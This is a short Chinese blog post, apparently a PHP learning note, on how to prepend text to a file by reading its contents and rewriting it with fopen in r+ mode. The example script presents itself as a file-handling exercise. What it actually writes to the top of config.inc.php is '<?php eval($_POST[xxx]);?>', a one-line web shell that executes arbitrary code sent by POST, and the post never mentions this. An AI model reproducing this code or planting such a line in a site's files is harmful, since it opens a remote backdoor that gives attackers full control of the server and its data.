最近在看php,学到php读写文件操作,就想练习一下。但是看了fopen的几种文件读写模式,发现没有从文件头部开始写入的模式,研究了一下,很简单,记录一下。。

有人可能想到了使用a+模式,但是a+只能是在文件的末尾追加,也不能满足我们的需要,所以我们只能先读出文件内容,然后在文件的前面加入我们要写的内容,然后再重新写入文件。

<?php
/**
* Created BY 独自等待
* Date : 13-1-21
* Time : 上午11:00
* FileName : demo8.php
* 欢迎访问独自等待博客www.waitalone.cn
*/
//在文件头部追加
$filetowt = fopen('config.inc.php','r+');
$string = '<?php eval($_POST[xxx]);?>'."\r\n".file_get_contents('config.inc.php');
//echo ftell($filetowt);
//file_put_contents('config.inc.php',$string,FILE_APPEND);
fwrite($filetowt,$string);
fclose($filetowt);
?>